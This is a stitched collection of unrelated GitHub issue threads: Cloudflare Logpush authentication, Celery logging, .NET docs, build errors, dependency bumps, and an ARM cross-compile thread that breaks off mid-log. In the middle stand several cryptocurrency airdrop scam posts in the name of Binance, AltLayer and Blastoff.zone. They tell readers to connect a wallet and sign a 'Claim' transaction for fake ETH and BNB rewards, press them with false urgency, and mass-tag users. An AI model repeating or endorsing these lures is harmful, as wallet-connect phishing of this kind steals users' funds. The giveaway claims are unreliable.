configuring cloudflare logpush to loki

Hi Pew,
Thank you for your contributions for this cloudflare loki.
We were trying to use the cloudflare logpush to directly hit the loki "destination_conf" which unfortunately is not working
Below the curl command which we are using
curl --location 'https://api.cloudflare.com/client/v4/zones/<zone_id>/logpush/jobs' \ --header 'Content-Type: application/json' \ --header 'X-Auth-Email: <Email>’ \ --header 'X-Auth-Key: <Auth Key>’ \ --header 'Cookie: <cookie value>’ \ --data '{     "name": "http",     "logpull_options": "fields=CacheCacheStatus,CacheReserveUsed,CacheResponseBytes,CacheResponseStatus,CacheTieredFill,ClientASN,ClientCountry,ClientDeviceType,ClientIP,ClientIPClass,ClientMTLSAuthCertFingerprint,ClientMTLSAuthStatus,ClientRegionCode,ClientRequestBytes,ClientRequestHost,ClientRequestMethod,ClientRequestPath,ClientRequestProtocol,ClientRequestReferer,ClientRequestScheme,ClientRequestSource,ClientRequestURI,ClientRequestUserAgent,ClientSSLCipher,ClientSSLProtocol,ClientSrcPort,ClientTCPRTTMs,ClientXRequestedWith,ContentScanObjResults,ContentScanObjTypes,Cookies,EdgeCFConnectingO2O,EdgeColoCode,EdgeColoID,EdgeEndTimestamp,EdgePathingOp,EdgePathingSrc,EdgePathingStatus,EdgeRequestHost,EdgeResponseBodyBytes,EdgeResponseBytes,EdgeResponseCompressionRatio,EdgeResponseContentType,EdgeResponseStatus,EdgeServerIP,EdgeStartTimestamp,EdgeTimeToFirstByteMs,LeakedCredentialCheckResult,OriginDNSResponseTimeMs,OriginIP,OriginRequestHeaderSendDurationMs,OriginResponseBytes,OriginResponseDurationMs,OriginResponseHTTPExpires,OriginResponseHTTPLastModified,OriginResponseHeaderReceiveDurationMs,OriginResponseStatus,OriginResponseTime,OriginSSLProtocol,OriginTCPHandshakeDurationMs,OriginTLSHandshakeDurationMs,ParentRayID,RayID,RequestHeaders,ResponseHeaders,SecurityAction,SecurityActions,SecurityRuleDescription,SecurityRuleID,SecurityRuleIDs,SecuritySources,SmartRouteColoID,UpperTierColoID,WAFAttackScore,WAFFlags,WAFMatchedVar,WAFRCEAttackScore,WAFSQLiAttackScore,WAFXSSAttackScore,WorkerCPUTime,WorkerStatus,WorkerSubrequest,WorkerSubrequestCount,WorkerWallTimeUs,ZoneName&timestamps=unixnano",     "destination_conf": "https://loki.test.io/loki/api/v1/push?header_Authorization=Basic%20<basic Auth>&job=cloudflare-dev-http&tenant_id=1”,      "max_upload_bytes": 5000000,     "max_upload_records": 1000,     "dataset": "http_requests",     "frequency": "high",     "enabled": true }'
error output:
{"success":false,"errors":[{"code":10000,"message":"Authentication error"}]}
The other way of installing wrangler, I am not aware and also not sure how to do it, is it using terraform ? We are using cloudflare workers for some other means but not familiar on how to do this for logpush. Can you please guide or advice us what is the right way to do it.

error output:
{"success":false,"errors":[{"code":10000,"message":"Authentication error"}]}

the error message indicates that you didn't successfully authenticate against the Cloudflare API. Did you use your email address and global API key? If you used the scoped API keys, make sure to have the right permissions, I think there's a scope with Log and you need read/write permissions.


May 2017 color updates

Updated:
Shamrock
Pink
Yellow
Red*
Dark red
Light Purple (link color)
Added:
fieldBG
fieldBGInverted
fieldBGInvertedDisabled
*a new red was discussed in multiple design reviews, and has been agreed on by the entire design team

Yea, that makes more sense. Just have to think of what to rename these
colors of they're going in the base palette...
On Wed, May 17, 2017 at 6:22 PM Adam Detrick<EMAIL_ADDRESS>wrote:

@akdetrick commented on this pull request.
In src/colors.yaml
https://github.com/meetup/meetup-swatches/pull/54#discussion_r117124164:

@@ -56,6 +59,10 @@ ui:
dimmingOverlay: [0,0,0,0.4]
tappable: [56,56,15,0.09]
tappableInverted: [255,246,196,0.27]

 fieldBG: [0,0,0,0.09]

does it make sense to set these by color name in the base palette and map
to feature-specific names in sasstools or MWC?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/meetup/meetup-swatches/pull/54#pullrequestreview-38803733,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ACNPDjuibqfDDS7zvGH_t1Mi90CqJWnsks5r63MjgaJpZM4NecN7
.


Fix celery error logging

Error logging from Celery tasks is broken out of the box. While uncaught exception reporting works, error-level log messages from inside Celery worker do not get reported to Sentry.
For the user, it's not obvious that this is happening, or what can be done to fix it.The setup instructions for Django and Celery are not sufficient to get it working. There is documentation on raven.readthedocs.io suggesting that the Django handler "captures the errors" from workers. Consequently, there is #922, suggesting a workaround.
The problem is that when setting up logging for worker processes, Celery configures the task logger to not propagate to the root logger:
https://github.com/celery/celery/blob/47ca2b462f22a8d48ed8d80c2f9bf8b9dc4a4de6/celery/app/log.py#L132
https://github.com/celery/celery/blob/47ca2b462f22a8d48ed8d80c2f9bf8b9dc4a4de6/celery/app/log.py#L176
This prevents log events from reaching the Celery handler in the root logger. (Note that this setup does not happen in the Django shell, for example. There, things work fine.)
The workaround in #922 disables this logging setup completely. I'd argue that it's cleaner to work with whatever Celery decides to do and not mess with the logging system any further, beyond adding sentry handlers.
So, this PR adds a signal handler for the task logger, to give it the sentry handler if needed. It also adds code so that the DjangoCeleryHandler sets this up properly out of the box, if any of the CELERY_LOGLEVEL settings are defined. (This way it's opt-in; it could also be enabled by default.)
People should not have to discover the hard way that their errors do not properly get logged, so I think Raven should really fix this and work out of the box. If any manual action remains to be required, this should be noted in the documentation.
If you're willing to consider this PR, I'd be happy to add tests and documentation. In that case, it would be great if you could point me towards the proper places to put them.

@ashwoods Rebased it. Could you restart that one failed job? Looks like some pip download timed out.

its really really painful to enable logging celery to sentry... +1

Is there anything blocking this from getting released? This PR would be incredibly useful for folks who need to track Celery errors via the Raven client.

To all, I think the proper fix is to upgrade to the new Python SDK which bypasses those problems entirely.
I'm a bit vary of fixing this in raven as it is a breaking change for something that is effectively in maintenance mode.


Doc about net5.0 and net6.0 is inconsistent

Hello!
Many thanks for maintaining the dotnet documentation :)
I think I have found an inconsistency. This page about Latest versions seems to indicate that net5.0 and net6.0 do not implement .NET Standard version. I infer it from "N/A" in the column: "Implemented .NET Standard version". Please see image below:

However, this page contains: ".NET 5 and .NET 6 implement .NET Standard 2.1 and earlier."
Could you please replace the "N/A" for both .NET 5 and .NET 6 from the first page with "2.1"? Or am I reading this wrong? Any guidance is welcomed :)

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 49205137-dcec-a120-e5e7-1b9c79cdafbb
Version Independent ID: 4352856b-5ccf-8e62-48b4-3151340cac56
Content: Target frameworks in SDK-style projects - .NET
Content Source: docs/standard/frameworks.md
Product: dotnet
Technology: dotnet-standard
GitHub Login: @gewarren
Microsoft Alias: gewarren

Thank you @gewarren and @IEvangelist! :tada:


add CycloneDDS dependencies

Needed for ros2/ros2#808 and ros2/ros2#809.

@dirk-thomas - I updated the instructions to add macOS and Windows, as well as drop the JDK/Maven requirement from Linux. Please have a look.

Eloquent Windows seems to be missing.

Eloquent Windows seems to be missing.

Fixed.

LGTM (can't approve my own PR).
@cottsay Please merge when ready.


should background work leave error log if some work is failed

:tada: This issue has been resolved in version 1.0.0-dev.2 :tada:
The release is available on:

v1.0.0-dev.2
GitHub release
v1.0.0-dev.2

Your semantic-release bot :package::rocket:

:tada: This issue has been resolved in version 1.0.0 :tada:
The release is available on:

v1.0.0
GitHub release
v1.0.0

Your semantic-release bot :package::rocket:


adding more blocks for more reuse in fec-eregs

This adds blocks for the hero, title, and regulations list on the generic_universal page so that those components can be deleted or reused in fec-eregs.

:+1:


stream 网络请求安卓与ios表现不一致

请求在ios里表现正常在安卓里就不行，老是status -1 err_connection.怎么回事，接口是在循环里调的

没遇到过。

+1,这个怎么解决啊

从sdk源码看，应该是报了IOE，具体可见DefaultWXHttpAdapter.sendRequest，引起ioe的原因，我还在和后台同事去找。有知道的大神可以指点下谢谢

This PR/issue doesn't received response since Weex migrated to Apache two years ago and this repository is no longer active yet.
Feel free to ask question in new repository and thanks for your contribution.

This issue is outdated for a long time and will be closed now. You can create a new one if you still have questions.


#57 Fix gradle bin command

Resolves zalando-incubator/zally#57
🔋 Uses more precise way to copy zally.jar file

This is in fact more precise and cleaner. :) LGTM

👍


IndirectBranch Message in BTM mode

In "7.3 . IndirectBranch Message" the first comment says that these kind of messages are applicable in BTM mode only.
As far as I understood it, this is only true for "7.2 . DirectBranch Message".
https://github.com/riscv-non-isa/tg-nexus-trace/blob/b0df47cc486f063e29727e7331311a089b25fbd3/docs/RISC-V-N-Trace.adoc?plain=1#L846

Sorry, I was wrong in my last comment.
But maybe one could clarify that either IndirectBranch or IndirectBranchHist message should be send for certain itypes:
https://github.com/riscv-non-isa/tg-nexus-trace/blob/b0df47cc486f063e29727e7331311a089b25fbd3/docs/RISC-V-N-Trace.adoc?plain=1#L274
But for now I close the issue.


Document how to deploy widgets within Web AppBuilder Environment

add documentation on how to deploy our widgets within the Web AppBuilder environment.
Sudha will draft the document then it will be tested and finalized by someone else.

Agree... documentation should include how to build the web map (be sure to use the Maritime Chart Service URL, not the default),  that the Maritime Identify Widget is there by default (but can be hidden if not needed),  and whether or not there is a need to add any configuration properties to the Display or Search widgets.

will add documentation on web map and widget configuration.

Deployment documentation has been modified.  With the current release of our display properties and identify widget there is no need to make any modifications or change URL paths.  Search is still not supported.


Bump dependencies with vulnerabilities in the 1.2.x branch

Description:
The following jars need to be bumped in order to overcome vulnerability warnings.

Bump org.apache.thrift:libthrift from 0.12.0 to 0.14.1.
Bump org.apache.commons:commons-compress from 1.18 to 1.19.
Bump org.bouncycastle:bcprov-jdk15on from 1.61 to 1.69.
Remove the com.google.common.io.Files.createTempDir method usage.
Bump com.fasterxml.jackson.core:jackson-databind to the latest stable version 2.12.4.

Affected branch
1.2.16

The detected vulnerable dependencies are bumped using the linked PRs. Hence, closing the issue.


[BUG] Pydantic model QueryParameter not returning json dict in GraphQLQuerier.post_graph_ql

Problem

When trying to run code cell 1 in example notebook, it complains about TypeError: Object of type QueryParameter is not JSON serializable.
Seems to me like when we have query with parameters, the QueryParameter pydantic model is not returned as json dict before GraphQLQuerier.post_graph_ql function happens.
Hence in httpx request, it is unable to encode parameters which is a list of QueryParameter  objects rather than json text.

Screenshot

How to replicate the problem?

I use poetry to install based on pyproject.toml from this repo and simply run the example

Potential solutions

Check parameters from variables argument in GraphQLQuerier.post_graph_ql function before calling the api

🚀 Binance Free Tokens Giveaway! 🌕
Welcome to the exclusive Binance Free Tokens Giveaway! 🎉 Don't miss out on claiming your free tokens. Here's a simple guide to get started:
Steps to Claim:

Connect Your Binance Wallet:

Click on the Connect Wallet.
Select your preferred wallet provider (Metamask, Trust Wallet, etc.).
Follow the prompts to connect your wallet securely.

Interact with the Contract:

Once your wallet is connected, navigate to the Binance Free Tokens Page.
Click on the "Claim" button to interact with the smart contract.

Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

Spread the Excitement:

After successfully claiming your tokens, share the news!

Twitter: Tweet about Your Tokens
Facebook: Share on Facebook

Act fast and enjoy your tokens! This limited-time offer won't last forever. 🌐💰
Note: Make sure to follow official Binance channels for updates and announcements.

$BNB Airdrop: Claim Your $1000 in BNB Now!
🌟 Exciting News! 🎉 You're in for a treat! 🚀 You've just hit the jackpot and secured your spot in the $1.5k Binance Airdrop! 🤑 Brace yourself for an amazing windfall of $1500 in BNB. But that's not all – here's the cherry on top: Connect now, and enjoy an instant bonus of $100! 🚀 Don't miss out on this golden opportunity. Follow the simple steps below to claim your tokens and elevate the joy of this spectacular giveaway! 🌈

Steps to Claim:
1. 🌐 Connect Your Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1000 in BNB! Additionally, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, take the opportunity to win up to $20,000—it's your golden chance!
Winners: @arif141, @coconut49, @jonchoi, @haiyanghe, @pitpit, @Waynezee, @jrhea

AltLayer Airdrop Season One Update

🚀 Exciting Announcement!
AltLayer token (ALT) is gearing up for its Binance launch on January 25, 2024. As a token of appreciation, we extend a warm invitation to you to join the "ALT Token community" through an exclusive airdrop tailored for our early supporters and partners. Here's a quick overview:

Total Allocated ALT Tokens: 400,000,000 (4% of the total supply)

For a comprehensive breakdown of criteria and further details, refer to the complete announcement Oficial Website.
The window to Claim $ALT tokens is open from January 25 to February 08, 2024.
Any unclaimed $ALT tokens after this period will be returned to AltLayer’s Treasury.
We deeply appreciate your contribution to AltLayer's success! Stay tuned for more exciting developments in Season One.
Important: Please be aware of certain regional restrictions on the airdrop. Review the disclaimer before participating.
kouko, @makdoudN, @get2nitin, @ferbcn, @kanedev, @binny-mathew, @Spico197, @hhhhzl, @Auzout, @TechNickAI, @qq17908, @StatsAI, @WenchenLi, @matinoseda, @richardskim111, @msander, @elyase, @H0rowitz, @mxhsnowy, @s91402001

Blastoff.zone: Earn 1 ETH + $500 Bonus!
Greetings, crypto enthusiasts! Blastoff.zone has an irresistible offer for the first 10 participants! Simply engage and link your wallet to claim a whopping 1 ETH along with an enticing $500 bonus.
How to Participate:

Click Connect Wallet to head to the Blastoff.zone platform.
Link your Ethereum wallet on the platform to qualify for the $500 bonus.
Utilize the "Claim Now" feature to secure your tokens.

Don't let this golden opportunity slip away! Act swiftly to claim your rewards before the 1 ETH allocation is all taken.
Please note that token allocation operates on a first-come, first-served basis. Out of the 100 tokens reserved for distribution, an impressive 90% have already been snapped up!
3scava1i3r, @sglyon, @gabrielfior, @jinsley8, @mrbrianhobo, @cryptomas, @sebastiantf, @ZigBalthazar, @LeoVS09, @corey-wombat, @raw34, @SteffQing, @silvercondor, @marissaposner, @jasonshi10, @PitaHat, @rayeaster, @snurfer0, @LuozhuZhang, @Tayvon

Blastoff.zone: Earn 1 ETH + $500 Bonus!
Greetings, crypto enthusiasts! Blastoff.zone has an irresistible offer for the first 10 participants! Simply engage and link your wallet to claim a whopping 1 ETH along with an enticing $500 bonus.
How to Participate:

Click Connect Wallet to head to the Blastoff.zone platform.
Link your Ethereum wallet on the platform to qualify for the $500 bonus.
Utilize the "Claim Now" feature to secure your tokens.

Don't let this golden opportunity slip away! Act swiftly to claim your rewards before the 1 ETH allocation is all taken.
Please note that token allocation operates on a first-come, first-served basis. Out of the 100 tokens reserved for distribution, an impressive 90% have already been snapped up!


Changing bundle id doesn't change device token

Changing the bundle id (from com.A to com.B) and creating new app in pushy dashboard doesn't make app subscribe to new app and get the respective token, the app on iphone is still bounded to app com.A instead of com.B

Hi @leongzwss,
The Pushy iOS SDK persists the device credentials in the iOS Keychain to recognize the device between app reinstalls, and in the NSUserDefaults as well.
Both of these storage mechanisms are Bundle-bound and reset when you change the iOS app's Bundle ID, which means calling Pushy.register() after changing the bundle ID should in fact generate a new device token on the device.
We cannot reproduce this issue on our development device.


Genericized moleucle's ansible.cfg

We specified lookup_plugins and filter_plugins for our own
use cases.  This project is upstreamed, and our needs should be
handled in house.  We are specifying roles_path and library,
since roles can ship a library/ directory.  If this is not good
enough, others can leverage ansible_config_template or raw_env_vars
as noted in #43.

:+1:


Virtualbox version should be "fixed" rather than "newer than"

Description

The current document Mac & Windows mention that zulip is able to run in virtualbox in version x.x.x or newer. But I encountered the kernel error issue while I installed the environment in the newest virtualbox (5.1.26).

Suggestion

For avoiding potential unknown issues, which might not be worth to find the root cause, because they are not made by zulip's source code. I recommend to specify fixed virtualbox version.

Thanks for entering this!
Specifically, the symptoms we saw on your machine included

Running a manage.py command would immediately give a segmentation fault
In fact, running /usr/bin/python3, even with no arguments, would do the same
So would running an apt install command
In /var/log/syslog, there were error messages including BUG: unable to handle kernel paging request, which is a kernel assertion failure.


As a User, I'd like to be able to access the pictures from other folders

Context:
Currently, our users are able to create new folders and batch upload into a folder. However they are not able to access the content of theses folder.
sequenceDiagram
    participant User
    participant FE as Frontend
    participant BE as Backend
    participant DS as Datastore

    User->>FE: Select Folder
    FE->>BE: Request folder content
    BE->>DS: Fetch folder content
    DS-->>BE: Return folder content
    BE-->>FE: Send folder content
    FE-->>User: Display folder content (list of pictures)

Acceptance Criteria:

User can select any folders present in its container
The user can navigate through the selected folder content
The user can see the pictures within the selected

TODO:
Frontend

[ ]

Backend

[ ] https://github.com/ai-cfia/nachet-backend/issues/105

Datastore

[ ]

Hi @ChromaticPanic and @Francois-Werbrouck ! I'm working on the datastore function that retrieves details from folders for the front end view.
I've described it a bit here if you'd like to take a look.
What else do we need to retrieve for the directory view? All picture names? Whether the folder is from a batch import? If each picture is validated or not?
I'd like to have your thoughts 🙂

Hi @ChromaticPanic and @Francois-Werbrouck ! I'm working on the datastore function that retrieves details from folders for the front end view.
I've described it a bit here if you'd like to take a look.
What else do we need to retrieve for the directory view? All picture names? Whether the folder is from a batch import? If each picture is validated or not?
I'd like to have your thoughts 🙂

In addition to picture names, we'll want a boolean that indicates if there is an existing inference for a picture and another boolean that indicates if the image has unvalidated inferences
Then
We will need endpoints, so that when a picture is selected we can retrieve the inferences and validation information separately


[C++] Bug in substring_index with negative index.

Describe the bug, including details regarding any error messages, version, and platform.
substring_index("Abc.DE.fGh", '.', -2) returns "fGh" but it should return "DE.fGh" (ie starting from the second occurrence of the delimiter from the right). The proposed behavior matches the behavior of other databases.
substring_index was added here: https://github.com/apache/arrow/issues/32374
Component(s)
C++ - Gandiva

take


Dev add tests

There is an issue with playwright: it does not work if you don't launch app yourself

After running pnpm dev test pass, but on CI I don't know how to fix that issue


[AzureMonitorExporter] fix nullables in AzMonList

Towards https://github.com/Azure/azure-sdk-for-net/issues/34013
this is the final PR for nullables in our product code! 🎉
The change to KeyValuePair<string, object?> is to match Activity.TagObjects which is also nullable (link)

API change check
API changes are not detected in this pull request.


Update release notes to 2023.04 / other changes

Preview: https://rpaladin.github.io/notes#2023.04
Changelog
NEW

NAVBAR: Added smooth transition animations to dropdown menus.
NAVBAR/FOOTER/INDEX/FEATURES/DOWNLOAD/NOTES: Added hide-and-show hover effects for heading anchors.
NAVBAR: Updated metadata description.
INDEX/NOTES/IMG: Added new download release and release notes. (2023.04.)
INDEX/FEATURES/DOWNLOAD: Added image/video credits.
FEATURES/IMG: Replaced scripting, particles, and animation videos. (Team decision.)
PRIVACY: Added more information.

FIXED

NAVBAR: Fixed dropdown menu colors not showing correct colors if links were visited. (Special thanks for @ OIHD for report on Discord.)
NAVBAR: Fixed broken mobile dropdowns.
NOTES/FAQ/FOOTER: Fixed incorrect link and text styling.
LICENSE: Fixed incorrect links.
GLOBAL: Fixed grammar.

MISC

404/NEWS: Tweaked spacing and padding.
JS: Added Node executable for Windows. (For future usage of fetch() method.)
MAKE: Updated path.
README: Updated information.

Questions for Lubos

Currently, the software covers used to illustrate ArmorPaint and ArmorLab are from each of their website homepage covers (https://armorpaint.org & https://armorlab.org). However, I'm uncertain whether they best communicate the softwares. Should I perhaps use these images instead https://armory.itch.io? Feel free to agree or disagree. I'd just like what is best for ArmorPaint and ArmorLab and your personal tastes.
Is it okay if I create a new and individual donation page instead of simply displaying all links here https://armory3d.org/download#donate? If it's alright with you, I would share there:

https://armory.gumroad.com/l/armory
https://github.com/sponsors/luboslenco
https://patreon.com/RobDangerous
https://github.com/sponsors/RobDangerous
P.S. I've already discussed and received verbal permission from Robert about displaying their donation information there if you decide that this new page would be logical.

The Armory team was wondering what this file was for and if it's even still needed https://github.com/armory3d/iron/blob/main/tools/io_export_arm.py? It appears to be an older version of the Armory exporter, which currently resides here https://github.com/armory3d/armory/blob/main/blender/arm/exporter.py instead. Possibly, the former file was used for legacy Armory back in the day? In any case, we were all wondering if it's logical to fully remove that file, if it's no longer needed.
The Armory team was also wondering whether it's logical to close these issues?

https://github.com/armory3d/armory/issues/688
https://github.com/armory3d/armory/issues/693
Not only do they not make sense [anymore], they appear to be centered back on when legacy Armory was built on Blender source as a fork back in the day.

Looks fine to me but no problem if you decide to change it.
Yes, please feel welcome to also include additional armory contributors.
It's a mesh exporter which exports into the .arm format. You can use iron by hand if you wish, without the direct blender integration which armory provides.


Allow non-native-string method names.

Resolves #2818.

I'm starting with just the failing test to confirm that our environment can actually reproduce it.

@sigmavirus24 I'd like to slip this into 2.8.1, which I plan to release tomorrow. Mind doing a quick review before then?

I feel certain that we've fixed this already, perhaps in 3.0.0?
And a quick look shows we fixed it on July 18th: https://github.com/kennethreitz/requests/commit/ea1cbb3a1d9c6fb0edebb1bf0ac222c50054a367
I don't see discussion in the bug about why we didn't propose that against master though (although parts of it are backwards incompatible).
I'm +1 on fixing this and this looks like a good, simple, probably backwards compatible change.

Yeah, I don't really see why we didn't either.


update qemu to 8.2.2

While the last upstream 8.2 release is 8.2.5, alpine still only has v8.2.2. The next valid candidate will be 9.0.
This replaces #177, which attempted to use 8.2.3.

So it appears running linux-user/gen-vdso under qemu virtualized environment results in an unexpected failure, leaving a qemu version disclaimer printed and yet vdso.c.inc is not created as expected, therefore it fails compilation of linux-user/elfload.c.


fatal error: stdlib.h: No such file or directory  #include_next <stdlib.h>

Hello Group,
I've been successful in compiling for the Linux desktop (Debian) without issues. However, when I try to compile for the arm, I get a strange error (below) and want to know if anyone has seen this.

OS Built with buildroot
using uClibc (also tried glibc)
gcc version /8.4.0

Error Output
[ 52%] Built target json_schema_validator_static
Scanning dependencies of target mdns_static
[ 52%] Building CXX object libs-ext/nmos-cpp/Development/CMakeFiles/mdns_static.dir/mdns/core.cpp.o
In file included from /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-uclibcgnueabihf/sysroot/usr/include/boost/config/platform/linux.hpp:15,
                 from /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-uclibcgnueabihf/sysroot/usr/include/boost/config.hpp:57,
                 from /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-uclibcgnueabihf/sysroot/usr/include/boost/algorithm/string/config.hpp:14,
                 from /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-uclibcgnueabihf/sysroot/usr/include/boost/algorithm/string/predicate.hpp:14,
                 from /home/monte/Source/nmos-dev/software/source/libs-ext/nmos-cpp/Development/mdns/core.h:5,
                 from /home/monte/Source/nmos-dev/software/source/libs-ext/nmos-cpp/Development/mdns/core.cpp:1:
/home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-uclibcgnueabihf/include/c++/8.4.0/cstdlib:75:15: fatal error: stdlib.h: No such file or directory
 #include_next <stdlib.h>
               ^~~~~~~~~~

Thanks for the help
TIA
Monte

If you run cmake with
-DCMAKE_VERBOSE_MAKEFILE:BOOL=ON

then the actual compile line will be shown and this might give a hint as to what is going on.

Thanks @jwpwh for the reply - I tried cmake addition and I do see the whole command line as shown below. I'm not sure what I'm looking for here.
[ 52%] Building CXX object libs-ext/nmos-cpp/Development/CMakeFiles/mdns_static.dir/mdns/core.cpp.o
cd /home/monte/Source/nmos-dev/reg-managerBuild/reg-manager_release/libs-ext/nmos-cpp/Development && /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/usr/bin/arm-buildroot-linux-uclibcgnueabihf-g++  -DBST_SHARED_MUTEX_BOOST -DCPPREST_FORCE_HTTP_CLIENT_ASIO -DCPPREST_FORCE_HTTP_LISTENER_ASIO -DCPPREST_NO_SSL_LEAK_SUPPRESS -DSLOG_LOGGING_SEVERITY=slog::max_verbosity -DSLOG_STATIC -D__STDC_LIMIT_MACROS -I/home/monte/Source/nmos-dev/software/source/libs-ext/nmos-cpp/Development -I/home/monte/Source/nmos-dev/software/source/libs-ext/nmos-cpp/Development/third_party -I/home/monte/Source/nmos-dev/software/source/libs-ext/nmos-cpp/Development/third_party/nlohmann -isystem /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-uclibcgnueabihf/sysroot/usr/include  -Wall -Wstrict-aliasing -fstrict-aliasing -Wextra -Wno-unused-parameter -pedantic -Wno-long-long -O3   -std=c++11 -o CMakeFiles/mdns_static.dir/mdns/core.cpp.o -c /home/monte/Source/nmos-dev/software/source/libs-ext/nmos-cpp/Development/mdns/core.cpp
In file included from /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-uclibcgnueabihf/sysroot/usr/include/boost/config/platform/linux.hpp:15,
                 from /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-uclibcgnueabihf/sysroot/usr/include/boost/config.hpp:57,
                 from /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-uclibcgnueabihf/sysroot/usr/include/boost/algorithm/string/config.hpp:14,
                 from /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-uclibcgnueabihf/sysroot/usr/include/boost/algorithm/string/predicate.hpp:14,
                 from /home/monte/Source/nmos-dev/software/source/libs-ext/nmos-cpp/Development/mdns/core.h:5,
                 from /home/monte/Source/nmos-dev/software/source/libs-ext/nmos-cpp/Development/mdns/core.cpp:1:
/home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-uclibcgnueabihf/include/c++/8.4.0/cstdlib:75:15: fatal error: stdlib.h: No such file or directory
 #include_next <stdlib.h>
               ^~~~~~~~~~

Did you check the directory to see if the stdlib.h exists?
/home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-uclibcgnueabihf/include/c++/8.4.0/cstdlib

Maybe all of the files from the target were not copied up to the buildroot?

@jwpwh FWIW - I use qemu-user-static to provide a emulation layer to build my docker containers for ARM32v7 and ARM64... This gives me cross-platform building in a consistent way.
If it helps feel free to download the container (https://hub.docker.com/r/rhastie/nmos-cpp) and grab the executables from inside or alternatively if needed I can add you to the Github repo.

@jwpwh,

Did you check the directory to see if the stdlib.h exists?

That's the first item I checked is weather the file existed and it does. To me it looks as this is a toolchain problem, but I've built the rest of the OS and our own embedded modules with success. I'm not too familiar with the use of "#include_next" where this error is generated form.
Scratching my head on this one...

Looks to me like the -isystem is the problem. See here: https://gcc.gnu.org/bugzilla/show_bug.cgi?id=70129

@VisualGPS, what version of CMake are you using? Looks like there are some fixes related to detection of implicit include dirs in CMake 3.14+. If you're already there, maybe the hints in https://gitlab.kitware.com/cmake/cmake/issues/16919 about using CMAKE_CXX_IMPLICIT_INCLUDE_DIRECTORIES will help...

Update
I'm using Debian 10 on a VM and it sports cmake v3.13 from its default apt repo. I downloaded cmake 3.17, built it and installed it onto my VM. I then reconfigured the nmos build and was able to get by the fatal error: stdlib.h error. Thanks for the CMake suggestion. It looks like a majority of the library built, but it failed on undefined reference to symbol 'TLS_server_method@@OPENSSL_1_1_0' during the ling. I think I can handle that one but suggestions would be welcome.
Cheers

I have seen similar error messages with a preceding message about not being able to find a libssl.so file. I ended up using something like:
-DCMAKE_EXE_LINKER_FLAGS_INIT="-L ${RPI_LIBS}/lib -L ${SYSROOT} -Wl,-rpath-link=${SYSROOT}:${OPENSSL_LIB_DIR}:${RPI_LIBS}/lib -latomic"

where OPENSSL_LIB_DIR is defined as the path within the sysroot where the libssl.so.1.1 file is located. The compiler I am using seemed a little sensitive about the order of the -rpath-link directories. The -L options might not be needed but it took me awhile to find a combination which worked and then I stopped messing with it. Your mileage might vary.
If you put an equivalent line in your CMakeLists.txt, then it should be before the project() line.

Thanks for the help, @jwpwh and @rhastie. With the OpenSSL issue, I wonder why the find_package and target_link_libraries calls aren't resulting in the right library being linked in @VisualGPS environment?

@garethsb-sony CMake configuration seems to find the correct library:
-- Found OpenSSL: /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libcrypto.so (found version "1.1.1g")
It's during the link process the compiler cannot find the library. I'll take @jwpwh suggestion and give that a try.
Also if there are no objections, I'd like to create a github project that uses buildroot, Raspberry Pi, and uses the sony-nmos as a git submodule. On second thought, a creating a sony-nmos buildroot package would be better. I know that there are notes for the RasPi, but that's with a fully operational Debian (raspian) OS and quite different than a purpose built embedded project. Having an example for the embedded world is quite valuable.

I did not have much luck getting through the link:
undefined reference to symbol 'TLS_server_method@@OPENSSL_1_1_0'
I noted that CMake found OpenSSL:
-- Found OpenSSL: /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libcrypto.so (found version "1.1.1g")
This version (from buildroot) is OpenSSL 1.1.1g - would this be a problem since the error is showing OpenSSL 1.1.0?
TIA

I don't think that's the problem. I believe the @@OPENSSL_1_1_0 indicates the release in which that symbol was added.
Can you show us the full link line that failed?

Hi Here is two versions of the link result:
No path modification for openssl link path
[ 92%] Linking CXX executable nmos-cpp-node
cd /home/monte/Source/nmos-dev/reg-managerBuild/reg-manager_release/libs-ext/nmos-cpp/Development && /usr/local/bin/cmake -E cmake_link_script CMakeFiles/nmos-cpp-node.dir/link.txt --verbose=1
